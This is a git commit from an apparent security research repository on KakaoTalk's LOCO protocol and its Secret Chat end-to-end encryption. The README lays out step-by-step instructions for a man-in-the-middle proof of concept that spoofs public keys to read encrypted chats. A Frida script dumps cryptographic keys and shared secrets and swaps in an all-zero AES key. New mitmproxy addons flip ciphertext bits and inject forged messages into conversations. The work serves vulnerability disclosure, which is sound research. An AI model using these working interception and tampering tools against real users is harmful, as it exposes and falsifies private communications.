Fix Secret Chat MITM script

This commit is contained in:
stulle123 2023-12-20 19:05:29 +01:00
parent 013ffbdbd4
commit f704b2928e
15 changed files with 469 additions and 471 deletions

View File

@ -1,30 +1,50 @@
# Secret Chat
E2E is opt-in only. Most people probably dont use Secret Chat since `In a secret chatrooom, features including free calling, polls, events and chatroom album are currently not available`.
*Secret Chat* is KakaoTalk's E2E encryption feature. It was added on top of the existing [LOCO protocol](https://kth.diva-portal.org/smash/get/diva2:1046438/FULLTEXT01.pdf#page=77) which has a couple of [flaws](https://kth.diva-portal.org/smash/get/diva2:1046438/FULLTEXT01.pdf#page=100) including missing integrity protection of the ciphertext.
Main implementation in package `com.kakao.talk.secret` and the `LocoCipherHelper ` class.
*Secret Chat* is opt-in only and not enabled by default in the KakaoTalk mobile app. Most users might not use *Secret Chat* as it doesn't have the same feature set as regular non-E2E encrypted chat rooms.
MITM PoC:
We've created a simple script to man-in-the-middle *Secret Chat* communications with `Frida` and `mitmproxy`. It demonstrates a well-known server-side attack in which the operator (i.e. KakaoTalk) can spoof a client's public key to intercept and read E2E encrypted chat messages.
After the MITM attack there's no immediate warning message in the chat. Only if both parties go to `Chatroom Settings` -> `Public Key` and compare their public key fingerprints, the attack can be detected.
This is how one can run the PoC:
- Assumption: You've already set up your test environment (see setup description [here](./SETUP.md))
- Wipe all entries in the `public_key_info` and `secret_key_info` tables from the `KakaoTalk.db` database
- Start `mitmproxy`: `$ mitmdump -m wireguard -s mitm_secret_chat.py`
- Start `Frida`: `$ frida -U -l loco-tracer.js -f com.kakao.talk`
- Create new *Secret Chat* room in KakaoTalk app and sent a message
- View message in `mitmproxy` terminal window
How it works:
- Server-side `GETLPK` packet gets intercepted -> Inject MITM public key
- Server-side `SCREATE` packet gets intercepted -> Remove already existing shared secret (if any)
- Sender sends a `SETSK` packet -> `mitmproxy` script grabs shared secret and re-encrypts it with the recipient's original public key
- Using the shared secret, the script computes the E2E encryption key
- `MSG` and `SWRITE` packets are decrypted and dumped in the `mitmproxy` terminal
Known issues:
- Malformed `SCREATE` packets lead to parsing errors -> work-around: restart the script and try again :wink:
- Sometimes the shared secret can't be decrypted and the script fails with a `ValueError` exception (`Encryption/decryption failed`) -> just try again :wink:
Android implementation specifics:
- Main *Secret Chat* implementation in package `com.kakao.talk.secret` and in the `LocoCipherHelper ` class
- Sender's RSA public key pair in `TalkKeyStore.preferences.xml`
- Receiver's public keys in `KakaoTalk.db`
- PoC how-to:
- Delete all public keys from `KakaoTalk.db` database
- Start mitmproxy and Frida script
- Create new Secret Chat room
- `GETLPK` packet gets intercepted -> Maybe we don't need that?
- `SCREATE` packet gets intercepted (shouldn't include a shared secret, otherwise we remove it)
- Bad signature check of MITM public key doesn't seem to have any implications
- Sender sends a `SETSK` packet (mitmproxy grabs shared secret)
- Dump `SWRITE` packets
- Receiver's public keys in table `public_key_info` of `KakaoTalk.db` database
- Shared secret stored in table `secret_key_info` of `KakaoTalk.db` database
TO-DOS:
Questions:
- How to attack an already existing E2E chat room?
- How to fix maldformed `SCREATE` packets?
- Check public key fingerprints if they have changed
- Reinstall the app and check whether a warning shows up
- What about the master secret? -> Remove it!
- Test CFB bit flipping
- Test Secret Chat interception with `mitmproxy` script
* Use value from `pt` field to compute the nonce
* Does a warning pop up?
* What about the master secret?
Demo:
![MITM](https://github.com/stulle123/kakaotalk_analysis/tree/main/scripts/mitmproxy/secret_chat_demo.gif?raw=true)

Binary file not shown.

After

Width:  |  Height:  |  Size: 334 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 428 KiB

View File

@ -1,39 +1,5 @@
/*
TODO:
- Hook Ed25519 (verify and sign)
- AESCTRHelper
- CipherSpec
- Aes256Cipher
- SimpleCipher
- Hook Java Crypto APIs:
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.KeyFactory;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.MessageDigest;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.SecureRandom;
import java.security.Signature;
import java.security.spec.PKCS8EncodedKeySpec;
import java.security.spec.X509EncodedKeySpec;
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.Mac;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
import lc2.EdDSAEngine;
import lc2.EdDSAPrivateKey;
import lc2.EdDSAPublicKey;
import oc2.EdDSANamedCurveSpec;
import oc2.EdDSANamedCurveTable;
import oc2.EdDSAParameterSpec;
import oc2.EdDSAPrivateKeySpec;
import oc2.EdDSAPublicKeySpec;
KakaoTalk 10.4.3
*/
Java.perform(function () {
@ -56,57 +22,51 @@ Java.perform(function () {
hookKeyGeneratorGetInstance3();
hookKeyPairGeneratorGetInstance(); // Kakaotalk
*/
// hookV2SLSinkInit(); // Kakaotalk
hookCipherInit();
hookCipherInit2(); // Kakaotalk
// hookCipherInit();
// hookCipherInit2(); // Kakaotalk
// hookCipherInit3();
// hookCipherInit4(); // Kakaotalk
// hookCipherInit5();
hookCipherInit6(); // Kakaotalk
// hookCipherInit6(); // Kakaotalk
// hookCipherInit7();
// hookCipherInit8();
// hookPBEKeySpec();
// hookPBEKeySpec2();
// hookPBEKeySpec3(); // Kakaotalk
hookDoFinal();
// hookDoFinal();
// hookDoFinal2(); // Kakaotalk
hookDoFinal3();
hookDoFinal4();
hookDoFinal5();
hookDoFinal7();
// hookDoFinal3();
// hookDoFinal4();
// hookDoFinal5();
// hookDoFinal7();
// hookIVParameterSpecDefInit1(); // Kakaotalk
// hookIVParameterSpecDefInit2(); // Kakaotalk
// hookSecretKeySpecDefInit1(); // Kakaotalk
// hookSecretKeySpecDefInit2(); // Kakaotalk
hookKeyGeneratorInit(); // Kakaotalk
// hookKeyGeneratorInit(); // Kakaotalk
hookKeyGeneratorGenerateKey(); // Kakaotalk
hookLocoCipherHelper();
hookSharedSecretStore();
// hookLocoCipherHelper_2();
hookLocoCipherHelper_3();
hookLocoCipherHelper_4();
hookLocoCipherHelper_6();
hookSecretChatHelper();
hookSecretChatHelper_2();
hookSecretChatHelper_3();
// hookLocoCipherHelper_GenerateRSAPrivateKey();
// hookLocoCipherHelper_GenerateRSAPublicKey();
// hookSecretChatHelper_3();
// hookLocoPubKeyInfo();
// hookWTFbase64();
// hookLocoCipherHelper_5();
// hookLocoSKeyInfo();
// printLocoBody();
// hookTalkLocoPKStore();
// hookTalkLocoPKStore_2();
// hookAESCTRHelper();
// hookAESCTRKeySet();
// hookAESCTRHelper_GenerateIV();
// printAESCTRKeySet();
// enableWebviewDebugging();
// hookTest();
// hookURIController();
// deepLinkSniffer();
// hookStrings();
});
const locoKey = Java.array("byte", [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]);
const doNotHookFileNames = ["SimpleCipher.kt", "AccountUpdater.kt", "DataBaseResourceCrypto.kt", "CookieContentEncryptor.java", "Aes256Cipher.kt", "V2SLSink.kt", "V2SLSource.kt", "V2SLHandshake.kt", "LocoV2SLSocket.kt"]
const patchKey = true;
const printStacktrace = true;
const locoFileNames = ["V2SLSink.kt", "V2SLSource.kt", "V2SLHandshake.kt", "LocoV2SLSocket.kt"];
const doNotHookFileNames = ["SimpleCipher.kt", "AccountUpdater.kt", "DataBaseResourceCrypto.kt", "CookieContentEncryptor.java", "Aes256Cipher.kt", "TiaraEncrypt.java"].concat(locoFileNames);
const patchLocoKey = true;
const printStacktrace = false;
const hookAllClasses = false;
var StringCls = null;
@ -306,11 +266,11 @@ function hookDoFinal2() {
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
if (!(doNotHookFileNames.includes(caller.getFileName())) || hookAllClasses) {
console.log("[Cipher.doFinal2()]: " + " cipherObj: " + this);
console.log("Caller " + caller.getFileName())
console.log("Caller: " + caller.getFileName())
dumpByteArray("In buffer (cipher: " + this.getAlgorithm() + ")", byteArr);
// dumpByteArray("Result", tmp);
var result_base64 = Java.use("android.util.Base64").encodeToString(tmp, 0);
console.log("Result in Base64: " + result_base64)
// console.log("Result in Base64: " + result_base64)
if (printStacktrace) {
var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "")
console.log(stacktrace);
@ -616,8 +576,8 @@ function hookKeyGeneratorGenerateKey() {
console.log(stacktrace);
}
}
if (patchKey) {
console.log("Patching LOCO AES key...")
if (patchLocoKey) {
dumpByteArray("Patching LOCO AES key with key", locoKey);
const SecretKeySpec = Java.use("javax.crypto.spec.SecretKeySpec");
var fakeKey = SecretKeySpec.$new(locoKey, "AES");
tmp = fakeKey
@ -687,27 +647,16 @@ function hookPBEKeySpec3() {
/*
.overload("xc2.b0", "java.security.Key")
*/
function hookV2SLSinkInit() {
var V2SLSinkInit = Java.use("mw0.d")["$init"].overload("xc2.b0", "java.security.Key");
V2SLSinkInit.implementation = function (arg0, arg1) {
var tmp = this.$init(arg0, arg1);
const secretKeySpec = Java.cast(arg1, Java.use("javax.crypto.spec.SecretKeySpec"));
const encodedKey = secretKeySpec.getEncoded();
dumpByteArray("V2SLSinkInit called with AES Key", encodedKey);
console.log("##############################################")
}
}
function hookLocoCipherHelper() {
function hookSharedSecretStore() {
var locoCipherHelper = Java.use("com.kakao.talk.secret.LocoCipherHelper$e")["$init"].overload("java.lang.String", "long");
locoCipherHelper.implementation = function (arg0, arg1) {
var tmp = this.$init(arg0, arg1);
console.log("hookLocoCipherHelper called!");
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
console.log(caller.getFileName());
console.log("Master key: " + arg0);
console.log("Nonce: " + arg1);
console.log("Secret Chat shared secret: " + arg0);
console.log("Secret Chat seed for nonce: " + arg1);
console.log(this.toString());
console.log("Caller: " + caller.getFileName());
console.log("##############################################")
}
}
@ -724,12 +673,11 @@ function hookLocoCipherHelper_2() {
}
}
function hookLocoCipherHelper_3() {
function hookLocoCipherHelper_GenerateRSAPrivateKey() {
var locoCipherHelper = Java.use("com.kakao.talk.secret.LocoCipherHelper")["e"].overload("java.lang.String");
locoCipherHelper.implementation = function (arg0) {
console.log("hookLocoCipherHelper3 called!");
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
console.log(caller.getFileName());
console.log("Caller: " + caller.getFileName());
var private_key = locoCipherHelper.call(this, arg0);
// var encoded_key = Java.use("android.util.Base64").encodeToString(private_key.getEncoded(), 0);
console.log("Generate RSA private key from string: " + arg0);
@ -739,13 +687,12 @@ function hookLocoCipherHelper_3() {
}
}
function hookLocoCipherHelper_4() {
function hookLocoCipherHelper_GenerateRSAPublicKey() {
var locoCipherHelper = Java.use("com.kakao.talk.secret.LocoCipherHelper")["f"].overload("java.lang.String");
locoCipherHelper.implementation = function (arg0) {
console.log("hookLocoCipherHelper4 called!");
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
var ret = locoCipherHelper.call(this, arg0);
console.log("Caller " + caller.getFileName());
console.log("Caller: " + caller.getFileName());
console.log("Generate RSA public key from string: " + arg0);
var public_key = locoCipherHelper.call(this, arg0);
// var encoded_key = Java.use("android.util.Base64").encodeToString(public_key.getEncoded(), 0);
@ -773,19 +720,8 @@ function hookLocoCipherHelper_5() {
}
}
function hookLocoCipherHelper_6() {
var locoCipherHelper = Java.use("com.kakao.talk.secret.LocoCipherHelper")["l"].overload();
locoCipherHelper.implementation = function () {
console.log("hookLocoCipherHelper6 called!");
var key = locoCipherHelper.call(this);
dumpByteArray("Generated shared secret", key);
console.log("##############################################")
return locoCipherHelper.call(this);
}
}
function hookLocoPubKeyInfo() {
var locoPubKeyInfo = Java.use("tz0.n")["$init"].overload("com.kakao.talk.loco.protocol.LocoBody");
var locoPubKeyInfo = Java.use("t41.n")["$init"].overload("com.kakao.talk.loco.protocol.LocoBody");
locoPubKeyInfo.implementation = function (locoBody) {
var tmp = this.$init(locoBody);
console.log("locoPubKeyInfo called!");
@ -796,36 +732,6 @@ function hookLocoPubKeyInfo() {
}
}
function hookSecretChatHelper() {
var secretChatHelper = Java.use("com.kakao.talk.secret.b")["k"].overload("long", "long");
secretChatHelper.implementation = function (arg0, arg1) {
console.log("secretChatHelper called!");
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
console.log(caller.getFileName());
console.log("Long 1: " + arg0);
console.log("Long 2: " + arg1);
var ret = secretChatHelper.call(this, arg0, arg1);
console.log("##############################################")
return secretChatHelper.call(this, arg0, arg1);
}
}
function hookSecretChatHelper_2() {
var secretChatHelper = Java.use("com.kakao.talk.secret.b$e")["a"].overload("long", "long");
secretChatHelper.implementation = function (arg0, arg1) {
console.log("secretChatHelper2 called!");
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
console.log(caller.getFileName());
console.log("Long 1: " + arg0);
console.log("Long 2: " + arg1);
var ret = secretChatHelper.call(this, arg0, arg1);
console.log(ret);
console.log(this.a);
console.log("##############################################")
return secretChatHelper.call(this, arg0, arg1);
}
}
function hookSecretChatHelper_3() {
var secretChatHelper = Java.use("com.kakao.talk.secret.b$e")["b"].overload("com.kakao.talk.secret.b$d");
secretChatHelper.implementation = function (arg0) {
@ -838,40 +744,20 @@ function hookSecretChatHelper_3() {
}
}
function hookWTFbase64() {
var wtfBase64 = Java.use("com.kakao.talk.util.r")["a"].overload("java.lang.String");
wtfBase64.implementation = function (arg0) {
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
if (!(doNotHookFileNames.includes(caller.getFileName())) || hookAllClasses) {
console.log("WTF called");
console.log("Caller: " + caller.getFileName());
console.log("Base64 encoded: " + arg0);
var ret = wtfBase64.call(this, arg0);
dumpByteArray("Base64 decoded bytes", ret);
console.log("##############################################")
}
return wtfBase64.call(this, arg0);
}
}
function printLocoBody() {
Java.choose("com.kakao.talk.loco.protocol.LocoBody", {
onMatch: function (instance) {
if (instance) {
console.log("LOCO body: " + instance);
}
},
onComplete: function () { }
function hookLocoSKeyInfo() {
var locoSKeyInfo = Java.use("tz0.o")["$init"].overload("com.kakao.talk.loco.protocol.LocoBody");
locoSKeyInfo.implementation = function (arg0) {
var tmp = this.$init(arg0);
console.log("hookLocoSKeyInfo called!");
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
console.log("au: " + this.a);
console.log("sk: " + this.b);
console.log("as: " + this.c);
console.log("pt: " + this.d);
console.log("apt: " + this.e);
console.log("st: " + this.f);
console.log("##############################################")
}
});
}
function hookTalkLocoPKStore() {
var talkLocoPKStore = Java.use("df1.e4")["toString"].overload();
var talkLocoPKStore = Java.use("yl1.x3")["toString"].overload();
talkLocoPKStore.implementation = function () {
console.log("talkLocoPKStore called!");
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
@ -884,7 +770,7 @@ function hookTalkLocoPKStore() {
}
function hookTalkLocoPKStore_2() {
var talkLocoPKStore = Java.use("df1.e4$a")["toString"].overload();
var talkLocoPKStore = Java.use("yl1.x3$a")["toString"].overload();
talkLocoPKStore.implementation = function () {
console.log("talkLocoPKStore2 called!");
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
@ -896,20 +782,18 @@ function hookTalkLocoPKStore_2() {
}
}
function hookAESCTRHelper() {
var AESCTRHelper = Java.use("sy.a")["b"].overload("java.lang.String", "[B", "int", "javax.crypto.spec.PBEKeySpec");
function hookAESCTRHelper_GenerateIV() {
var AESCTRHelper = Java.use("d20.a")["b"].overload("java.lang.String", "[B", "int", "javax.crypto.spec.PBEKeySpec");
AESCTRHelper.implementation = function (arg0, arg1, arg2, arg3) {
console.log("hookAESCTRHelper called!");
dumpByteArray("Generated IV", arg1);
console.log("##############################################");
return AESCTRHelper.call(this, arg0, arg1, arg2, arg3);
}
}
function hookAESCTRKeySet() {
var AESCTRKeySet = Java.use("sy.b")["$init"].overload("[B", "[B", "[B");
function printAESCTRKeySet() {
var AESCTRKeySet = Java.use("d20.b")["$init"].overload("[B", "[B", "[B");
AESCTRKeySet.implementation = function (arg0, arg1, arg2) {
console.log("AESCTRKeySet called!");
dumpByteArray("Secret key", arg0);
dumpByteArray("IV", arg1);
dumpByteArray("arg2", arg2);
@ -984,20 +868,6 @@ function enableWebviewDebugging() {
this.onPageStarted.overload("android.webkit.WebView", "java.lang.String", "android.graphics.Bitmap").call(this, view, url, favicon);
}
var loadURL = Java.use("com.kakao.talk.gametab.widget.webview.KGWebViewLayout").j.overload("android.webkit.WebView", "java.lang.String", "java.util.Map");
loadURL.implementation = function (arg0, arg1, arg2) {
console.log("KGWebViewLayout loadURL START");
console.log(arg0);
console.log(arg1);
printMap(arg2);
if (printStacktrace) {
var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "")
console.log(stacktrace);
}
console.log("KGWebViewLayout loadURL END");
return this.j(arg0, arg1, arg2);
}
var webviewHelper = Java.use("com.kakao.talk.widget.webview.WebViewHelper");
var downloadFile = webviewHelper.newDownloadFile.overload("java.lang.String");
@ -1018,102 +888,6 @@ function enableWebviewDebugging() {
console.log(ret);
return ret;
}
/*
var hookHelp = Java.use("com.kakao.talk.webview.activity.HelpActivity").shouldOverrideUrlLoading.overload("android.webkit.WebView", "java.lang.String");
hookHelp.implementation = function (arg0, arg1) {
console.log("HELP START");
console.log(arg0);
console.log(arg1);
if (printStacktrace) {
var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "")
console.log(stacktrace);
}
console.log("HELP END");
return this.shouldOverrideUrlLoading(arg0, arg1);
}
*/
/*
var hookHelp2 = Java.use("com.kakao.talk.webview.activity.HelpActivity")["a"].overload("java.lang.String");
hookHelp2.implementation = function (arg0) {
console.log("HELP START");
console.log(arg0);
if (printStacktrace) {
var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "")
console.log(stacktrace);
}
console.log("HELP END");
return this.a(arg0);
}
*/
var hookHelp3 = Java.use("com.kakao.talk.webview.activity.HelpActivity")["loadUrl"].overload("java.lang.String", "java.util.Map");
hookHelp3.implementation = function (arg0, arg1) {
console.log("HELP START");
console.log(arg0);
if (printStacktrace) {
var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "")
console.log(stacktrace);
}
console.log("HELP END");
return this.loadUrl(arg0, arg1);
}
}
function hookTest() {
var hookTest = Java.use("db2.q").O.overload("java.lang.String", "java.lang.String", "java.lang.Boolean");
hookTest.implementation = function (arg0, arg1, arg2) {
this.O.overload("java.lang.String", "java.lang.String", "java.lang.Boolean").call(this, arg0, arg1, arg2);
console.log(arg0);
console.log(arg1);
}
}
function hookURIController() {
var hookTest = Java.use("xv0.k").b.overload("android.content.Context", "android.net.Uri", "java.util.Map");
hookTest.implementation = function (arg0, arg1, arg2) {
console.log("URI Controller START");
console.log(arg0);
console.log(arg1);
printMap(arg2);
if (printStacktrace) {
var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "");
console.log(stacktrace);
}
console.log("URI Controller END");
return this.b(arg0, arg1, arg2);
}
var hookTest2 = Java.use("xv0.k").a.overload("android.content.Context", "android.net.Uri", "java.util.Map");
hookTest2.implementation = function (arg0, arg1, arg2) {
console.log("URI Controller 2 START");
console.log(arg0);
console.log(arg1);
printMap(arg2);
if (printStacktrace) {
var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "");
console.log(stacktrace);
}
console.log("URI Controller 2 END");
return this.a(arg0, arg1, arg2);
}
var hookStartIntent = Java.use("xv0.k").e.overload("android.content.Context", "java.lang.String");
hookStartIntent.implementation = function (context, str) {
console.log("Context: " + context);
console.log("String: " + str);
return this.e(context, str);
}
/*
var hookIntentChecker = Java.use("xv0.k").d.overload("android.content.Context", "java.lang.String", "java.lang.Boolean");
hookIntentChecker.implementation = function (context, str, bool) {
console.log("Context: " + context);
console.log("String: " + str);
return this.d(context, str, bool);
}
*/
}
function deepLinkSniffer() {

View File

@ -27,10 +27,19 @@ PublicKey = K+t/qiGO8tlA9L7wjAOb8wqjnu/NuthHgLs2gOCIDgY=
AllowedIPs = 0.0.0.0/0
Endpoint = 10.0.2.2:51820
```
- Import the config in the WireGuard app
- Import the config into the WireGuard app
Back on your MITM host start Frida (see [setup instructions](../../README.md#setup-frida-to-disable-certificate-pinning)):
Back on your MITM host start Frida (see [setup instructions](../../SETUP.md#setup-frida-to-disable-certificate-pinning)):
```bash
# Start frida-server
$ adb root && adb shell /data/local/tmp/frida-server
# Start LOCO debugging script
$ frida -U -l loco-tracer.js -f com.kakao.talk
```
```
To run the unit tests:
- Install `pytest` and `pytest-datadir` via pip
- Run the tests: `$ pytest tests/test_loco_parser.py`

View File

@ -0,0 +1,58 @@
import logging
from lib.loco_parser import LocoParser
from mitmproxy import connection, tcp, tls
from mitmproxy.utils import human, strutils
class LocoMitmBase:
def __init__(self, rsa_key_pair, master_secret=None, test_key=None) -> None:
self.parser = LocoParser()
self.rsa_key_pair = rsa_key_pair
self.recipient_user_id = 0
self.recipient_public_key = b""
self.shared_secret = b""
self.master_secret = master_secret
self.e2e_encryption_key = test_key
@staticmethod
def get_addr(server: connection.Server):
return server.peername or server.address
def tls_clienthello(self, data: tls.ClientHelloData):
server_address = self.get_addr(data.context.server)
logging.info("Skip TLS intercept for %s.", human.format_address(server_address))
data.ignore_connection = True
class FlipCiphertextBits(LocoMitmBase):
def __init__(self) -> None:
self.parser = LocoParser()
def tcp_message(self, flow: tcp.TCPFlow):
message = flow.messages[-1]
self.parser.parse(message.content)
if self.parser.loco_packet:
logging.info(
"from_client=%s, content=%s",
message.from_client,
self.parser.loco_packet.get_packet_as_dict(),
)
else:
logging.warning(
"from_client=%s, raw packet bytes=%s",
message.from_client,
strutils.bytes_to_escaped_str(message.content),
)
return
# Flip bits of the ciphertext to show CFB malleability
flipped_packet = self.parser.flip_bits()
if flipped_packet:
message.content = flipped_packet
addons = [FlipCiphertextBits()]

View File

@ -0,0 +1,60 @@
import logging
from lib.loco_parser import LocoParser
from mitmproxy import connection, tcp, tls
from mitmproxy.utils import human, strutils
class LocoMitmBase:
def __init__(self, rsa_key_pair, master_secret=None, test_key=None) -> None:
self.parser = LocoParser()
self.rsa_key_pair = rsa_key_pair
self.recipient_user_id = 0
self.recipient_public_key = b""
self.shared_secret = b""
self.master_secret = master_secret
self.e2e_encryption_key = test_key
@staticmethod
def get_addr(server: connection.Server):
return server.peername or server.address
def tls_clienthello(self, data: tls.ClientHelloData):
server_address = self.get_addr(data.context.server)
logging.info("Skip TLS intercept for %s.", human.format_address(server_address))
data.ignore_connection = True
class InjectMessage(LocoMitmBase):
def __init__(self, trigger_msg, new_msg) -> None:
self.parser = LocoParser()
self.trigger_msg = trigger_msg
self.new_msg = new_msg
def tcp_message(self, flow: tcp.TCPFlow):
message = flow.messages[-1]
self.parser.parse(message.content)
if self.parser.loco_packet:
logging.info(
"from_client=%s, content=%s",
message.from_client,
self.parser.loco_packet.get_packet_as_dict(),
)
else:
logging.warning(
"from_client=%s, raw packet bytes=%s",
message.from_client,
strutils.bytes_to_escaped_str(message.content),
)
return
# Inject a new message to show that there are no integrity checks on the ciphertext
tampered_packet = self.parser.inject_message(self.trigger_msg, self.new_msg)
if tampered_packet:
message.content = tampered_packet
addons = [InjectMessage(trigger_msg="foo", new_msg="bar")]

View File

@ -5,7 +5,7 @@ from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
# Key used by Frida script to patch AES encryption key
# Key used by Frida script to patch KakaoTalk's AES encryption key
_AES_KEY = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

View File

@ -5,23 +5,29 @@ import re
import struct
import bson
from .crypto_utils import (aes_decrypt, aes_e2e_decrypt, aes_encrypt,
compute_key, compute_nonce, get_rsa_public_key_pem,
rsa_decrypt, rsa_encrypt)
from lib.crypto_utils import (
aes_decrypt,
aes_e2e_decrypt,
aes_encrypt,
compute_key,
compute_nonce,
get_rsa_public_key_pem,
rsa_decrypt,
rsa_encrypt,
)
class LocoPacket:
def __init__(
self,
id=0,
identifier=0,
status_code=0,
loco_command="",
body_type=0,
body_length=0,
body_payload=b"",
):
self.id = id
self.id = identifier
self.status_code = status_code
self.loco_command = loco_command
self.body_type = body_type
@ -56,8 +62,9 @@ class LocoPacket:
):
loco_dict["body_payload"] = self.body_payload
except Exception as general_exception:
loco_dict = {}
logging.error(
"Could not decode BSON body of packet %s: %s",
"Couldn't decode BSON body of packet %s: %s",
self.loco_command,
general_exception,
)
@ -112,9 +119,9 @@ class LocoEncryptedPacket:
class LocoHandshakePacket:
def __init__(self, length=256, type=0, block_cipher_mode=0, payload=b""):
def __init__(self, length=256, handshake_type=0, block_cipher_mode=0, payload=b""):
self.length = length
self.type = type
self.type = handshake_type
self.block_cipher_mode = block_cipher_mode
self.payload = payload
@ -130,29 +137,34 @@ class LocoParser:
def parse_loco_packet(self, data):
if not data:
logging.error("Could not parse LOCO encrypted packet: Packet data is None.")
logging.error("Couldn't parse LOCO encrypted packet: Packet data is None.")
return None
try:
id = struct.unpack("<I", data[:4])[0]
identifier = struct.unpack("<I", data[:4])[0]
status_code = struct.unpack("<H", data[4:6])[0]
loco_command = data[6:17].decode().replace("\0", "")
body_type = struct.unpack("<b", data[17:18])[0]
body_length = struct.unpack("<i", data[18:22])[0]
body_payload = data[22:]
return LocoPacket(
id, status_code, loco_command, body_type, body_length, body_payload
identifier,
status_code,
loco_command,
body_type,
body_length,
body_payload,
)
except Exception as general_exception:
logging.error(
"Could not parse LOCO packet: %s \nAre you running Frida to patch the AES key?",
"Couldn't parse LOCO packet: %s \nAre you running Frida in parallel to patch the AES key?",
general_exception,
)
return None
def parse_loco_encrypted_packet(self, data):
if not data:
logging.error("Could not parse LOCO encrypted packet: Packet data is None.")
logging.error("Couldn't parse LOCO encrypted packet: Packet data is None.")
return None
try:
@ -161,25 +173,21 @@ class LocoParser:
payload = data[20:]
return LocoEncryptedPacket(length, iv, payload)
except Exception as general_exception:
logging.error(
"Could not parse LOCO encrypted packet: %s", general_exception
)
logging.error("Couldn't parse LOCO encrypted packet: %s", general_exception)
return None
def parse_handshake_packet(self, data):
if not data:
logging.error("Could not parse LOCO handshake packet: Packet data is None.")
logging.error("Couldn't parse LOCO handshake packet: Packet data is None.")
return None
try:
type = struct.unpack("<I", data[4:8])[0]
handshake_type = struct.unpack("<I", data[4:8])[0]
block_cipher_mode = struct.unpack("<I", data[8:12])[0]
payload = data[22:]
return LocoHandshakePacket(type, block_cipher_mode, payload)
return LocoHandshakePacket(handshake_type, block_cipher_mode, payload)
except Exception as general_exception:
logging.error(
"Could not parse LOCO handshake packet: %s", general_exception
)
logging.error("Couldn't parse LOCO handshake packet: %s", general_exception)
return None
def parse(self, data):
@ -197,17 +205,23 @@ class LocoParser:
if not self.loco_packet:
return None
if not self.loco_packet.loco_command in ["MSG", "LOGINLIST"]:
if self.loco_packet.loco_command not in ["MSG", "LOGINLIST", "WRITE"]:
return None
body_json = self.loco_packet.body_payload
# MSG LOCO packet
if (
"chatLog" in body_json
and body_json["chatLog"]["message"] == trigger_message
):
body_json["chatLog"]["message"] = payload
# WRITE LOCO packet
if "msg" in body_json and body_json["msg"] == trigger_message:
body_json["msg"] = payload
# LOGINLIST LOCO packet
if "chatDatas" in body_json and body_json["chatDatas"]:
if (
"l" in body_json["chatDatas"][0]
@ -216,7 +230,7 @@ class LocoParser:
):
body_json["chatDatas"][0]["l"]["message"] = payload
self.loco_packet.body_payload = self.bson_encode(body_json)
self.loco_packet.body_payload = bson.dumps(body_json)
self.loco_packet.body_length = len(self.loco_packet.body_payload)
return self.loco_encrypted_packet.create_new_packet(self.loco_packet)
@ -224,11 +238,11 @@ class LocoParser:
return bytes((x ^ y) for (x, y) in zip(param1, param2))
def flip_bits(self):
if not self.loco_packet.loco_command == "MSG":
if self.loco_packet.loco_command != "MSG":
return None
if self.loco_packet.body_length != 221:
logging.error(f"I'm NOT here: {self.loco_packet.body_length}")
logging.error("I'm NOT here: %s", self.loco_packet.body_length)
return None
else:
logging.error("I'm here!")
@ -267,9 +281,7 @@ class LocoParser:
return (None, None, None)
if isinstance(self.loco_packet.body_payload, bytes):
self.loco_packet.body_payload = self.bson_decode(
self.loco_packet.body_payload
)
self.loco_packet.body_payload = bson.loads(self.loco_packet.body_payload)
if not self.loco_packet.loco_command in {
"GETPK",
@ -288,7 +300,7 @@ class LocoParser:
mitm_public_key_cleaned = self.get_clean_public_key(key_pair)
logging.info("MITM public key: %s", mitm_public_key_cleaned)
# logging.info("MITM public key: %s", mitm_public_key_cleaned)
original_public_key = self.loco_packet.body_payload["pi"][0]["ek"]
user_id = self.loco_packet.body_payload["pi"][0]["u"]
@ -298,7 +310,7 @@ class LocoParser:
logging.error("Original and MITM public key don't have the same length!")
return (None, None, None)
self.loco_packet.body_payload = self.bson_encode(self.loco_packet.body_payload)
self.loco_packet.body_payload = bson.dumps(self.loco_packet.body_payload)
self.loco_packet.body_length = len(self.loco_packet.body_payload)
return (
@ -312,26 +324,20 @@ class LocoParser:
return None
if isinstance(self.loco_packet.body_payload, bytes):
logging.error("Could not parse LOCO packet body.")
logging.error("Couldn't parse LOCO packet body.")
return None
if self.loco_packet.loco_command not in {"SCREATE", "CHATONROOM"}:
return None
if self.loco_packet.body_payload.get("pi"):
logging.info(
